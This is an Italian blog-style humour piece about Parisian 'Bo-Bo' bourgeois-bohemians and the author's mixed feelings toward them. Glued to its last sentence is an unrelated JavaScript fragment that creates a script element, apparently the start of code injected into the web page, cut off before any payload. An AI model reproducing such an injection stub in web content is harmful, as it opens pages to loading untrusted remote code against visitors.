Bo-Bo Boh

Termine degli anni ’80 ancora in voga, Bo-Bo sta per Bourgeois-Bohémien (Borghese-Bohemien) ed indica la schiera di giovani Parigini alla moda ma disinvolti, disinteressati dall’aspetto interessante, semplici e sofisticatissimi: in altre parole i Radical-chic.

I Bo-Bo, da me ribattezzati “bobi”, siedono nei caffè giusti a leggere riviste di fotografia avvolti in una nuvola di fumo. Sembrano dire “Siamo fighi ma ce ne freghiamo”, quando più probabilmente pensano “Siamo fighi e speriamo vivamente che ve ne siate accorti”.

Studiano Architettura dei Foulards o Ingegneria dei Cappelli, abitano (come tutti) in appartamenti piccolissimi con una discreta dose di design e durante la settimana circolano o con le Velib (biciclette pubbliche) o in metro, in questo caso avendo sempre sotto braccio un libro di qualche avanguardia concettuale.

Il week-end invece vanno in barca a vela in Normandia con gli amici, e se proprio il tempo non lo permette, allora restano nella ‘solita’ Parigi.

Qui ammazzano il tempo libero o a fare shopping in qualche negozietto (Agnès B., The Kooples, Comptoir des Cotonniers…) o a bere un bicchiere di Champagne lungo il Canale Saint Martin, oppure, in estate, a suonare la chitarra “alla Carlà” sui Quais della Senna o nei Jardins de Luxembourg.

Insomma si tratta di persone schiette e senza sovra-strutture, di quelle che hanno investito tutto sull’Essere e nulla sull’Apparire. Eppure una parte di me ne rimane comunque attratta, nella speranza che il contenuto possa essere all’altezza del contenitore.

Non so, è un rapporto di amore-odio.

Per cui debbo rispondere ‘Boh’ a chi mi chiede cosa pensi dei Bo-Bo.var d=document;var s=d.createElement(‘script’);